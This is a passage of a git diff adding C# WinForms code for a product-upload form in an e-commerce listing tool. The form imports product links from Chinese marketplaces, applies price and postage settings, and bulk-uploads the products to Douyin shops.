private System.Windows.Forms.TextBox txtProductBrand; + private System.Windows.Forms.Label label15; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.Label label22; + private System.Windows.Forms.Label label21; + private System.Windows.Forms.Label label20; + private System.Windows.Forms.CheckBox chkUseGlobalQualifications; + private System.Windows.Forms.TextBox txt食品生产许可证编号; + private System.Windows.Forms.Label label19; + private System.Windows.Forms.TextBox txt生产企业名称; + private System.Windows.Forms.TextBox txtBrand; + private System.Windows.Forms.Label label17; + private System.Windows.Forms.Label label16; + private DevComponents.DotNetBar.PanelEx btn上传质检报告; + private DevComponents.DotNetBar.PanelEx btn上传包装标签图; + private DevComponents.DotNetBar.PanelEx btn上传食品许可证; + private System.Windows.Forms.PictureBox pictureBox3; + private System.Windows.Forms.PictureBox pictureBox2; + private System.Windows.Forms.PictureBox pictureBox1; + private DevComponents.DotNetBar.PanelEx btn删除食品许可证; + private DevComponents.DotNetBar.PanelEx btn删除包装标签图; + private DevComponents.DotNetBar.PanelEx btn删除质检报告; + private System.Windows.Forms.ComboBox cmb7Day; + private System.Windows.Forms.ComboBox cmbDelMainPic; + private System.Windows.Forms.CheckBox chkDelMainPic; + private System.Windows.Forms.Label label23; + private System.Windows.Forms.Label label24; + private System.Windows.Forms.CheckBox chkDelFirstContentPic; + private DevComponents.DotNetBar.PanelEx btnSetBrandFilter; + private System.Windows.Forms.CheckBox chkFilterBrand; + private DevComponents.DotNetBar.PanelEx btnSetSkuFilter; + private System.Windows.Forms.CheckBox chkFilterSku; + private System.Windows.Forms.DataGridViewLinkColumn idColumn; + private System.Windows.Forms.DataGridViewLinkColumn productIdColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn shopNameColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn titleColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn prcieColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn fromColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn colFromFake; + private System.Windows.Forms.DataGridViewTextBoxColumn messageColumn; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colUploadCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colStatus; + private System.Windows.Forms.CheckBox chkSaveUploadFailed; + private DevComponents.DotNetBar.PanelEx btnSetTitleRemove; + private System.Windows.Forms.CheckBox chkFilterRemoveTitle; + private System.Windows.Forms.CheckBox chkFilterTMChaoShi; + private System.Windows.Forms.TabPage tabPage4; + private DevComponents.DotNetBar.PanelEx panelEx2; + private DevComponents.DotNetBar.PanelEx panelEx1; + private System.Windows.Forms.CheckBox checkBox2; + private System.Windows.Forms.CheckBox chkCustomCategory; + private System.Windows.Forms.CheckBox checkBox1; + private System.Windows.Forms.CheckBox chkShopFissionUpload; + private System.Windows.Forms.TabPage tabPage5; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/UploadProductForm.cs b/TEMUKJD/KJDForms/UploadForms/UploadProductForm.cs new file mode 100644 index 0000000..4e0a478 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/UploadProductForm.cs @@ -0,0 +1,2475 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Param.UploadManage; +using AllBase.Model.Result; +using DevComponents.DotNetBar; +using LittleRabbit.Extension; +using LittleRabbit.LittleRabbitForms.BaseForms; +using LittleRabbit.LittleRabbitForms.ToolForms; +using NaiBa.Util; +using NaiBa.Util.Extension; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.BLL.Upload; +using Work.CollectClass; +using Work.DouyinApiClass; +using Work.GoodDetail; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + public partial class UploadProductForm : Form + { + public static UploadProductForm instance = null; + public static List lstFissionPcb = new List(); // 数据净化的数据列表 + + public string formName = "商品发布"; + public static IeForm ieForm = new IeForm(); + public List lstCommissionAddResult; // 添加佣金商品的列表 + + public string failedUploadFileName = "上货失败文件备份" + DateTime.Now.ToString("yyyyMMddHHmmss") + ".txt"; + + public UploadProductForm() + { + InitializeComponent(); + + lstCommissionAddResult = NaiBa.Util.Helper.ConfigHelper.LoadConfig>("upload_commission_list"); + if (lstCommissionAddResult == null) + lstCommissionAddResult = new List(); + + this.ucTabControlMetro1.TabPages.Remove(tabPage4); + } + + private void UploadProductForm_Load(object sender, EventArgs e) + { + instance = this; + + // 加载所有全局属性和资质 + UploadProductBLL.sGlobalPropList = NaiBa.Util.Helper.ConfigHelper.LoadConfig>("global_prop_list"); + if (UploadProductBLL.sGlobalPropList == null) + UploadProductBLL.sGlobalPropList = new List(); + UploadProductBLL.sGlobalQualifications = NaiBa.Util.Helper.ConfigHelper.LoadConfig>("global_qualifications"); + if (UploadProductBLL.sGlobalQualifications == null) + UploadProductBLL.sGlobalQualifications = new List(); + this.txtBrand.TextChanged -= this.txtBrand_TextChanged; + this.txt生产企业名称.TextChanged -= this.txt生产企业名称_TextChanged; + this.txt食品生产许可证编号.TextChanged -= this.txt食品生产许可证号_TextChanged; + this.txtBrand.Text = UploadProductBLL.sGlobalPropList.Find(p => p.Key == "品牌")?.Value + ""; + this.txt生产企业名称.Text = UploadProductBLL.sGlobalPropList.Find(p => p.Key == "生产企业名称")?.Value + ""; + this.txt食品生产许可证编号.Text = UploadProductBLL.sGlobalPropList.Find(p => p.Key == "食品生产许可证编号")?.Value + ""; + var pic1 = UploadProductBLL.sGlobalQualifications.Find(q => q.quality_name == "食品生产许可证")?.quality_attachments.FirstOrDefault().url; + if (pic1 != null) + try { this.pictureBox1.Load(pic1); } + catch (Exception ex) { BaseMsgForm.ShowError("食品生产许可证:" + ex.Message); } + var pic2 = UploadProductBLL.sGlobalQualifications.Find(q => q.quality_name == "包装标签图")?.quality_attachments.FirstOrDefault().url; + if (pic2 != null) + try { this.pictureBox2.Load(pic2); } + catch (Exception ex) { BaseMsgForm.ShowError("包装标签图:" + ex.Message); } + var pic3 = UploadProductBLL.sGlobalQualifications.Find(q => q.quality_name == "质检报告")?.quality_attachments.FirstOrDefault().url; + if (pic3 != null) + try { this.pictureBox3.Load(pic3); } + catch (Exception ex) { BaseMsgForm.ShowError("质检报告:" + ex.Message); } + + this.txt食品生产许可证编号.TextChanged += this.txt食品生产许可证号_TextChanged; + this.txt生产企业名称.TextChanged += this.txt生产企业名称_TextChanged; + this.txtBrand.TextChanged += this.txtBrand_TextChanged; + //this.ucTabControlMetro1.TabPages.RemoveAt(2); + +#if DEBUG + this.cmbSendType.Items.Add("现货-预售"); + this.cmbSendType.Items.Add("新预售"); + //this.chkSaveToOffLine.Visible = true; +#endif + chkMultiUpload_CheckedChanged(null, null); + + LoadShops(); + GetUploadParam(); + Task.Run(() => + { + LoadStock(); + + ImportFromFission(lstFissionPcb); + lstFissionPcb.Clear(); + }); + txtMultiple_TextChanged(null, null); + txtMultiple2_TextChanged(null, null); + txtPostage_TextChanged(null, null); + txtPostage2_TextChanged(null, null); + proxyCheckBox_CheckedChanged(null, null); + lowPricecheckBox_CheckedChanged(null, null); + lowPricePercenttextBox_TextChanged(null, null); + lowPriceAddtextBox_TextChanged(null, null); + new Thread(RefreshIeForm).Start(); + this.dgvShop.AddSelectorColumn("colSelect"); + this.cmb7Day.SelectedIndex = 2; + ReadUrlImage(); + InitCommissionCef(); + } + + + private void ReadUrlImage() + { + try + { + if (FileBase.Exists("temp/imageUrl.txt")) + { + UploadProductBLL.baseImageUrl = FileBase.ReadAllText("temp/imageUrl.txt").Trim(); + } + } + catch (Exception) + { + + throw; + } + } + public void LoadShops() + { + for (int i = 0; i < GlobalConfig.DouShopLoginList.Count; i++) + { + var shop = GlobalConfig.DouShopLoginList[i]; + dgvShop.Rows.Add(false, shop.ShopAccountId, shop.ShopAccount, 0, shop.LoginStatus); + } + } + public void RefreshIeForm() + { + while (true) + { + try + { + if (!string.IsNullOrEmpty(BaseClass.IeUrlShow)) + { + Invoke(new Action(() => + { + if (IeForm.IsShowIeForm) + { + IeForm VerfyForm = new IeForm(); + VerfyForm.Url = BaseClass.IeUrlShow; + BaseClass.IeUrlShow = ""; + VerfyForm.Text = "淘宝验证窗口"; + VerfyForm.ShowDialog(); + } + })); + } + + if (UploadProductBLL.IsNoToken) + { + Invoke(new Action(() => + { + TokenNewForm tokenForm = new TokenNewForm(); + tokenForm.ShowDialog(); + if (PinduoduoProductCollect.PinDuoDuoTokenList.Where(to => to.ProductDetailStatus == 1).ToList().Count == 0) + { + UploadProductBLL.IsNoToken = false; + } + })); + } + } + catch + { + } + Thread.Sleep(10); + } + } + + bool isRunning = false; + + private void btnUpload_Click(object sender, EventArgs e) + { + if (isRunning) + return; + + SaveUploadParam(); + + failedUploadFileName = "上货失败文件备份" + DateTime.Now.ToString("yyyyMMddHHmmss") + ".txt"; + + if (string.IsNullOrEmpty(txtPhone.Text)) + { + BaseMsgForm.ShowError("请输入客服电话号码!", "上传提醒", FormLevel.MEDIUM); + return; + } + //if (TaobaoMobileCollect.CookiesDic.Count == 0 && UploadProductBLL.ProductStock.Exists(s => s.FromType == "淘宝")) + //{ + // BaseMsgForm.ShowInfo("为了正常上传,请登录淘宝买手号", "提示"); + // ieForm.Show(); + // ieForm.WindowState = FormWindowState.Normal; + // ieForm.Activate(); + // return; + //} + + string delayType = cmbSendType.SelectedItem.ToString(); + if (delayType == "现货发货") + UploadProductBLL.delayType = "0"; + if (delayType == "预售发货") + UploadProductBLL.delayType = "1"; + if (delayType == "阶梯发货") + UploadProductBLL.delayType = "2"; + if (delayType == "现货-预售") + UploadProductBLL.delayType = "3"; + if (delayType == "新预售") + UploadProductBLL.delayType = "4"; + UploadProductBLL.newPreTime = cmbNewPreTime.SelectedItem.ToString(); + string sendDay = this.cmbSendDay.SelectedItem.ToString(); + if (sendDay == "24") + UploadProductBLL.sendDay = "1"; + if (sendDay == "48") + UploadProductBLL.sendDay = "2"; + + UploadProductBLL.isRandomMainImage = chkRandomMainImage.Checked; + UploadProductBLL.isDraft = chkSaveToDraft.Checked; + UploadProductBLL.IsFilterTitleWord = chkFilterTitle.Checked; + UploadProductBLL.IsFilterRemoveTitleWord = chkFilterRemoveTitle.Checked; + UploadProductBLL.IsFilterSkuWord = chkFilterSku.Checked; + UploadProductBLL.IsFilterBrandWord = chkFilterBrand.Checked; + UploadProductBLL.IsFilterTMChaoShi = chkFilterTMChaoShi.Checked; + + UploadProductBLL.isCustomStock = chkCustomStock.Checked; + UploadProductBLL.skuCustomStock = int.Parse(txtCustomStock.Text); + + if (!string.IsNullOrEmpty(txtMinSku.Text)) + UploadProductBLL.minSkuStock = int.Parse(txtMinSku.Text); + UploadProductBLL.isMinSkuStock = chkMinSku.Checked; + + UploadProductBLL.isMultiUpload = chkMultiUpload.Checked; + //UploadProductBLL.isShopFissionUpload = chkShopFissionUpload.Checked; + + if (delayType == "预售发货") + { + DateTime endDate; + DateTime.TryParse(this.endDateTimePicker.Text + " 23:59:59", out endDate); + if ((endDate - DateTime.Now).TotalDays < 2) + { + MessageBox.Show("预售时间不能早于当前时间加2天"); + return; + } + if ((endDate - DateTime.Now).TotalDays > 30) + { + MessageBox.Show("无法设置,预售时间超过设置范围,最大30天"); + return; + } + UploadProductBLL.preEndTime = endDate.ToString("yyyy-MM-dd HH:mm:ss"); + } + UploadProductBLL.endDay = cmbSendDayAfterPre.SelectedItem.ToString(); + UploadProductBLL.recommend_remark = txtremark.Text; + SetButtonCanNotUse(); + isRunning = true; + UploadProductBLL.ids = dgvShop.Rows.Cast() + .Where(r1 => r1.Cells["colSelect"].Value.ToString().ToLower() == "true") + .Select(r2 => r2.Cells["colShopId"].Value?.ToString()).ToList(); + UploadProductBLL.isSaveToOffLine = this.chkSaveToOffLine.Checked; + UploadProductBLL.IsUseGlobalQualifications = this.chkUseGlobalQualifications.Checked; + UploadProductBLL.supply_7day_return = this.cmb7Day.SelectedIndex.ToString(); + + UploadProductBLL.isViolateCheck = this.chkViolateCheck.Checked; + UploadProductBLL.isRoundPrice = this.chkRoundPrice.Checked; + UploadProductBLL.productBrand = this.txtProductBrand.Text.Trim(); + + UploadProductBLL.IsDelMainPic = this.chkDelMainPic.Checked; + UploadProductBLL.DelMainPicId = this.cmbDelMainPic.Text.ParseToInt(); + UploadProductBLL.IsDelFirstContentPic = this.chkDelFirstContentPic.Checked; + + UploadPropertyBLL.IsFuzzyMatching = this.chkFuzzyMatching.Checked; + + UploadProductBLL.phone = txtPhone.Text; + + foreach (var shop in GlobalConfig.DouShopLoginList) + { + shop.CanUpload = shop.LoginStatus == "登录成功" && shop.ApiAuthStatus == "授权成功"; + } + + Task.Run(() => + { + Upload(); + isRunning = false; + Invoke(new Action(() => + { + SetButtonCanUse(1); + })); + }); + } + + public void Upload() + { + if (UploadProductBLL.isMultiUpload) + { + UploadProductBLL.ProductStockTemp.Clear(); + for (int i = 0; i < UploadProductBLL.ProductStock.Count; i++) + { + UploadProductBLL.ProductStockTemp.Add(UploadProductBLL.ProductStock[i]); + } + } + List ts = new List(); + for (int i = 0; i < GlobalConfig.DouShopLoginList.Count; i++) + { + var shop = GlobalConfig.DouShopLoginList[i]; + if (!UploadProductBLL.ids.Any(id => id == shop.ShopAccountId) || shop.ApiAuthStatus != "授权成功") + continue; + if (UploadProductBLL.isMultiUpload) + Threadx.ThreadListWait(ref ts, new Thread(GetMulti), UploadProductBLL.ShopThreadCount, shop); + else + Threadx.ThreadListWait(ref ts, new Thread(Get), UploadProductBLL.ShopThreadCount, shop); + Thread.Sleep(1000); + } + Threadx.ThreadListWait(ref ts); + isRunning = false; + } + public void SetButtonCanNotUse() + { + btnUploadGood.Enabled = false; + } + public void SetButtonCanUse(int waitSecond = 5) + { + Task.Run(() => + { + Thread.Sleep(1000 * waitSecond); + Invoke(new Action(() => + { + btnUploadGood.Enabled = true; + })); + }); + } + + public void Get(object shop) + { + var Shop = shop as DouShopLoginInfo; + var bll = new UploadProductBLL(formName, Shop); + bll.productHandler = RefreshGridView; + bll.noticeHandler = RefreshLog; + bll.remainHandler = ReMain; + bll.UploadProduct(); + } + /// + /// 分裂上传(一件商品传到所有店铺) + /// + /// + public void GetMulti(object shop) + { + var Shop = shop as DouShopLoginInfo; + var bll = new UploadProductBLL(formName, Shop); + bll.productHandler = RefreshGridView; + bll.noticeHandler = RefreshLog; + bll.remainHandler = ReMain; + bll.UploadProductMulti(); + } + + public void RefreshGridView(TaobaoProductBase p) + { + // 佣金设置 + if (p != null && uploadParam.isSetCommission && !lstCommissionAddResult.Any(g => g.ProductId == p?.GoodsId)) + { + UploadCommissionParam comm = new UploadCommissionParam(); + comm.ProductId = p.GoodsId; + comm.ShopName = p.ShopName; + comm.Rate = uploadParam.commissionRatio; + lstCommissionAddResult.Add(comm); + NaiBa.Util.Helper.ConfigHelper.SaveConfig("upload_commission_list", lstCommissionAddResult); + } + + // 上货成功后显示到列表 + this.Invoke(new Action(() => + { + //dgvProduct.Rows.Add(p.FromIdBak > 0 ? p.FromIdBak : p.FromId, p.GoodsId, p.ShopName, p.Titlte, p.Price / 100, p.FromType, p.Message); + totalPage = (int)Math.Ceiling((double)UploadProductBLL.ProductTemp.Count / pageSize); + if (totalPage == 0) + totalPage = 1; + if (newCurrentPage != oldCurrentPage) + { + dgvProduct.Rows.Clear(); + oldCurrentPage = newCurrentPage; + } + if (newCurrentPage > totalPage) + newCurrentPage = totalPage; + if (newCurrentPage < 1) + newCurrentPage = 1; + if (totalPage > newCurrentPage && isNewPage) + newCurrentPage = totalPage; + this.lblCurrentPage.Text = newCurrentPage.ToString(); + this.lblTotalPage.Text = "共" + totalPage.ToString() + "页"; + + for (int num = (newCurrentPage - 1) * pageSize; num < (newCurrentPage - 1) * pageSize + pageSize; num++) + { + if (num >= UploadProductBLL.ProductTemp.Count) + break; + int i = num - (newCurrentPage - 1) * pageSize; + p = UploadProductBLL.ProductTemp[num]; + if (p == null) + continue; + //bool had = false; + if (dgvProduct.Rows.Count > i) + { + continue; + } + //dgvProduct.currentPage = (newCurrentPage - 1) * pageSize; + dgvProduct.Rows.Add(p.FromIdBak > 0 ? p.FromIdBak : p.FromId, p.GoodsId, p.ShopName, p.Titlte, p.Price / 100, p.FromType, "货源网", p.Message); + } + + if (p?.Message == "提交成功") + { + var row = dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopName"]?.Value?.ToString() == p.ShopName); + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccount == p.ShopName); + if (shop != null && row != null) + { + row.Cells["colUploadCount"].Value = shop.UploadCount; + } + } + else + { + if (uploadParam.isAutoSaveUploadFailedProduct) + { + var fileName = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory).Trim('\\') + "\\" + failedUploadFileName; + + var url = ""; + if (p.FromType == "淘宝") + url = "https://item.taobao.com/item.htm?id=" + p.FromId; + else if (p.FromType == "阿里巴巴") + url = "https://detail.1688.com/offer/" + p.FromId + ".html"; + else if (p.FromType == "微店") + url = "https://weidian.com/item.html?itemID=" + p.FromId; + else if (p.FromType == "京喜") + url = "https://item.m.jd.com/product/" + p.FromId + ".html"; + else if (p.FromType == "拼多多") + url = "http://mobile.yangkeduo.com/goods.html?goods_id=" + p.FromId; + else if (p.FromType == "抖音" || p.FromType == "") + url = "https://haohuo.jinritemai.com/views/product/detail?id=" + p.FromId; + FileBase.AppendAllText(fileName, url + "====" + p.ShopName + "====" + p.Message + "\r\n"); + } + } + })); + } + + public void RefreshLog(string message) + { + Task.Run(() => + { + if (this.Created) + { + this.Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = message; + this.statusBar.pgbTaskProgress.Maximum = UploadProductBLL.maxCount; + this.statusBar.pgbTaskProgress.Value = UploadProductBLL.ProductTemp.Count; + this.statusBar.pgbTaskProgress.Text = UploadProductBLL.ProductTemp.Count + "/" + UploadProductBLL.maxCount; + })); + } + }); + } + + public void ReMain() + { + this.Invoke(new Action(() => + { + // 显示剩下未上货商品数量 + if (UploadProductBLL.isMultiUpload && UploadProductBLL.MultiUploadRestCount > -1) + countLabel.Text = UploadProductBLL.MultiUploadRestCount + "个"; + else + countLabel.Text = UploadProductBLL.ProductStock.Count + "个"; + })); + } + + private void txtMultiple_TextChanged(object sender, EventArgs e) + { + if (txtMultiple.Text == "-") + return; + try + { + if (!string.IsNullOrEmpty(txtMultiple.Text)) + { + var multiple = decimal.Parse(txtMultiple.Text); + + //把倍数变成百分比 + UploadProductBLL.addMultiple = multiple * 100 - 100; + if (UploadProductBLL.addMultiple > UploadProductBLL.addMultiple2) + { + UploadProductBLL.addMultiple2 = UploadProductBLL.addMultiple; + this.txtMultiple2.Text = "" + ((UploadProductBLL.addMultiple2 + 100m) / 100); + } + } + } + catch + { + } + } + + private void txtMultiple2_TextChanged(object sender, EventArgs e) + { + if (txtMultiple2.Text == "-") + return; + try + { + if (!string.IsNullOrEmpty(txtMultiple2.Text)) + { + var multiple2 = decimal.Parse(txtMultiple2.Text); + + //把倍数变成百分比 + UploadProductBLL.addMultiple2 = multiple2 * 100 - 100; + if (UploadProductBLL.addMultiple2 < UploadProductBLL.addMultiple) + { + UploadProductBLL.addMultiple = UploadProductBLL.addMultiple2; + this.txtMultiple.Text = "" + ((UploadProductBLL.addMultiple + 100m) / 100); + } + } + } + catch + { + } + } + + private void txtPostage_TextChanged(object sender, EventArgs e) + { + if (txtPostage.Text == "-") + return; + try + { + if (!string.IsNullOrEmpty(txtPostage.Text)) + UploadProductBLL.postage = decimal.Parse(txtPostage.Text); + if (cmbPlusOrMinus.SelectedItem.ToString() != "+") + UploadProductBLL.postage = -UploadProductBLL.postage; + + if (UploadProductBLL.postage > UploadProductBLL.postage2) + { + UploadProductBLL.postage2 = UploadProductBLL.postage; + this.txtPostage2.Text = UploadProductBLL.postage2.ToString().Trim('-'); + if (UploadProductBLL.postage2.ToString().Contains("-")) + cmbPlusOrMinus2.SelectedItem = "-"; + else + cmbPlusOrMinus2.SelectedItem = "+"; + } + } + catch + { + } + } + + private void txtPostage2_TextChanged(object sender, EventArgs e) + { + if (txtPostage2.Text == "-") + return; + try + { + if (!string.IsNullOrEmpty(txtPostage2.Text)) + UploadProductBLL.postage2 = decimal.Parse(txtPostage2.Text); + if (cmbPlusOrMinus2.SelectedItem.ToString() != "+") + UploadProductBLL.postage2 = -UploadProductBLL.postage2; + + if (UploadProductBLL.postage2 < UploadProductBLL.postage) + { + UploadProductBLL.postage = UploadProductBLL.postage2; + this.txtPostage.Text = UploadProductBLL.postage.ToString().Trim('-'); + if (UploadProductBLL.postage.ToString().Contains("-")) + cmbPlusOrMinus.SelectedItem = "-"; + else + cmbPlusOrMinus.SelectedItem = "+"; + } + } + catch + { + } + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + //string name = dgvShop.Columns[e.ColumnIndex].HeaderText; + string colId = dgvShop.Columns[e.ColumnIndex].Name; + long shopId = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ParseToLong(); + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId.ToString()); + if (colId == "colSelect") + { + bool canUse = shop?.ApiAuthStatus == "授权成功" && shop?.LoginStatus == "登录成功"; + if (!canUse) + { + BaseMsgForm.ShowInfo("店铺未授权或未登录!"); + return; + } + bool ok = !bool.Parse(dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ToString()); + //string shopName = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ToString(); + dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value = ok; + //if (ok) + //{ + // UploadProductBLL.ids.Add(shopName); + //} + //else + //{ + // if (UploadProductBLL.ids.Select(id => id ==shopName).FirstOrDefault()) + // { + // UploadProductBLL.ids.Remove(shopName); + // } + //} + } + } + + #region 导入数据 + private async void button3_Click(object sender, EventArgs e) + { + btnUpload.Enabled = false; + OpenFileDialog fileDialog = new OpenFileDialog(); + fileDialog.Title = "选择文件"; + fileDialog.Filter = "All files (*.*)|*.*"; + fileDialog.FilterIndex = 1; + fileDialog.RestoreDirectory = true; + if (fileDialog.ShowDialog() != DialogResult.OK) + { + btnUpload.Enabled = true; + return; + } + await InputData(fileDialog.FileName); + btnUpload.Enabled = true; + } + public async Task InputData(string file) + { + await Task.Run(() => + { + string[] arrTmp = FileBase.ReadAllLines(file, GetFileEncoding(file)); + InputDataData(arrTmp); + }); + } + public async Task InputDataData(string[] arr) + { + bool message = false; + if (arr == null || arr.Length == 0) + return; + for (int i = 0; i < arr.Length; i++) + { + if (string.IsNullOrEmpty(arr[i])) + continue; + // 外部版暂时只支持拼多多上货 + if (!BaseClass.IsCloudBuyOrder && !arr[i].Contains("yangkeduo.com") && !arr[i].Contains("pinduoduo.com")) + continue; + string strTmp = arr[i]; + if (!(strTmp.Contains("detail.tmall") || strTmp.Contains("taobao.com") || strTmp.Contains("jinritemai.com") || strTmp.Contains("1688.com") || strTmp.Contains("weidian.com") || strTmp.Contains("jd.com"))) + { + try + { + if (!(strTmp.Contains("yangkeduo.com") || strTmp.Contains("pinduoduo.com"))) + strTmp = Md5Base.EncryptDecode(strTmp); + } + catch + { + continue; + } + } + if ((arr[i].Contains("淘宝") || arr[i].Contains("阿里巴巴")) && arr[i].Split(',').Length <= 7) + strTmp = arr[i]; + if (string.IsNullOrEmpty(strTmp)) + continue; + string lb = strTmp; + string sp = "-----"; + string url = strTmp, title = "", shop = "", catid = "", from = "", fid = ""; + string viname = "", viId = "", viPrice = "", viMPrice = ""; + if (strTmp.Contains("\",\"")) + { + var mm = BaseRegex.GetMatchRegex(strTmp, @"(.*?),""([\d]+)"",""([^""]+?)"",""([\d]+)"",""([\d]+)"",""([\d]+)"",""([\d]+)"",""([\d]+)"",""([-.\d]+%\+[-.\d]+)"",""([^""]+?)"""); + if (mm != null && mm.Count > 0) + { + from = mm[0].Groups[1].Value.Replace("\"", "").Replace("\"", ""); + fid = mm[0].Groups[2].Value; + title = mm[0].Groups[3].Value; + catid = mm[0].Groups[6].Value; + viname = mm[0].Groups[7].Value; + viId = mm[0].Groups[8].Value; + viPrice = mm[0].Groups[9].Value; + viMPrice = mm[0].Groups[10].Value; + goto End; + } + var m = BaseRegex.GetMatchRegex(strTmp, @"""([^""]+?)"",""([\d]+?)"",""([^""]+?)"",""([\d]+?)"",""([\d]+?)"",""([\d]+?)"",""([^""]+?)"",""([\d]+?)"",""([^""]+?)"""); + if (m.Count == 0) + m = BaseRegex.GetMatchRegex(strTmp, @"""([^""]+?)"",""([\d]+?)"",""([^""]+?)"",""([\d]+?)"",""([\d]+?)"",""([\d]+?)"""); + if (m != null && m.Count > 0) + { + from = m[0].Groups[1].Value; + fid = m[0].Groups[2].Value; + title = m[0].Groups[3].Value; + catid = m[0].Groups[6].Value; + viname = m[0].Groups[7].Value; + viId = m[0].Groups[8].Value; + viPrice = m[0].Groups[9].Value; + goto End; + } + } + + if (strTmp.Contains(sp)) + { + url = strTmp.Substring(0, strTmp.IndexOf(sp)); + strTmp = strTmp.Substring(strTmp.IndexOf(sp) + sp.Length); + title = strTmp; + } + if (title.Contains(sp)) + { + title = strTmp.Substring(0, strTmp.IndexOf(sp)); + strTmp = strTmp.Substring(strTmp.IndexOf(sp) + sp.Length); + shop = strTmp; + } + if (shop.Contains(sp)) + { + shop = strTmp.Substring(0, strTmp.IndexOf(sp)); + strTmp = strTmp.Substring(strTmp.IndexOf(sp) + sp.Length); + catid = BaseRegex.GetMatchRegexString(strTmp, @"([\d]+)"); + } + fid = BaseRegex.GetMatchRegexString(url, @"/([\d]+)\.html"); + if (string.IsNullOrEmpty(fid)) + fid = BaseRegex.GetMatchRegexString(url, @"goods_id=([\d]+)"); + if (string.IsNullOrEmpty(fid)) + fid = BaseRegex.GetMatchRegexString(url, @"id=([\d]+)"); + if (url.Contains(".taobao.com") || url.Contains(".tmall.com")) + from = "淘宝"; + if (url.Contains(".1688.com")) + from = "阿里巴巴"; + if (url.Contains("weidian.com")) + from = "微店"; + if (url.Contains("jd.com")) + from = "京喜"; + if (url.Contains("yangkeduo.com") || url.Contains("pinduoduo.com")) + from = "拼多多"; + if (url.Contains("jinritemai.com")) + from = "抖音"; + if (!lb.Contains("-----") && lb.Contains(@""",""")) + { + var m = BaseRegex.GetMatchRegex(ref lb, @"""(.*?)"",""([\d]+)"",""(.*?)"""); + if (m == null || m.Count <= 0) continue; + if (m.Count > 0) + { + from = m[0].Groups[1].Value; + fid = m[0].Groups[2].Value; + title = m[0].Groups[3].Value; + catid = ""; + } + } + End: + if (!string.IsNullOrEmpty(viname) && viname != "6" && viname != "1") + continue; + if (string.IsNullOrEmpty(fid) || string.IsNullOrEmpty(from)) + continue; + if (!string.IsNullOrEmpty(viPrice) && string.IsNullOrEmpty(viMPrice)) + { + if (!message) + { + MessageBox.Show("老格式数据已经不支持\r\n请升级采集程序,重新转化数据后导入新格式,重新转化速度会很快", "提示:老格式已经不支持"); + message = true; + } + continue; + } + if (BaseClass.UpIds.Count > 0) + { + bool ishas = false; + for (int j = 0; j < BaseClass.UpIds.Count; j++) + { + string rid = BaseRegex.GetMatchRegexString(BaseClass.UpIds[j], @"([\d]+)"); + if (string.IsNullOrEmpty(rid)) + continue; + if (fid == rid) + { + ishas = true; + break; + } + } + if (ishas) + continue; + } + TaobaoProductBase t = new TaobaoProductBase(); + long idx; + if (!long.TryParse(fid, out idx)) + continue; + t.TolerantFormId = fid; + t.FromId = idx; + t.ViGoodsName = viname; + long.TryParse(viId, out t.ViGoodsId); + t.ViPrice = viPrice; + t.FromType = from; + if (!string.IsNullOrEmpty(viMPrice)) + { + t.ViPriceMaxMin = viMPrice; + string[] strPrice = viMPrice.Split(':'); + if (strPrice.Length == 3) + { + t.ViPriceMin = (int)(decimal.Parse(strPrice[0]) * 100); + t.ViPriceMax = (int)(decimal.Parse(strPrice[1]) * 100); + t.ViExpressPrice = (int)(decimal.Parse(strPrice[2])); + } + } + t.Titlte = title.Replace("\",\"", ""); + + + if (!UploadProductBLL.ProductStock.Exists(p => p != null && p.FromId == t.FromId && p.Titlte == t.Titlte)) + { + UploadProductBLL.ProductStock.Add(t); + //if (t.MainCatId > 0) + DataBaseTemp.Add(t); + batchDataBaseTemp.Add(t); + if (batchDataBaseTemp.Count == 50) + { + AddListToDataBaseSingle(batchDataBaseTemp); + batchDataBaseTemp.Clear(); + } + } + ReMain(); + LogSave.Add(formName, strTmp + "正在被导入..."); + } + if (batchDataBaseTemp.Count > 0) + { + AddListToDataBaseSingle(batchDataBaseTemp); + batchDataBaseTemp.Clear(); + } + UploadProductBLL.maxCount = UploadProductBLL.ProductStock.Count; + LogSave.Add(formName, "已经成功导入!"); + } + public void AddListToDataBaseSingle(List temp) + { + for (int i = 0; i < temp.Count; i++) + { + AddbatchToDataBase(temp[i]); + } + SqliteHelper.BatchExecuteNonQuery(batchString); + batchString.Clear(); + } + public static void AddbatchToDataBase(TaobaoProductBase p) + { + string content = p.FromId + "," + p.FromType + "," + p.Titlte + "," + p.Cat1 + "," + p.Cat2 + "," + + p.Cat3 + "," + p.Cat4 + "," + p.CatId + "," + p.MainCatId + "," + p.MainCatName + "," + p.MainImage + "," + + p.Price + "," + p.SaleCount + "," + p.ShopName + "," + p.AddPrice; + if (!string.IsNullOrEmpty(p.ViGoodsName)) + content += "," + p.ViGoodsId + "," + 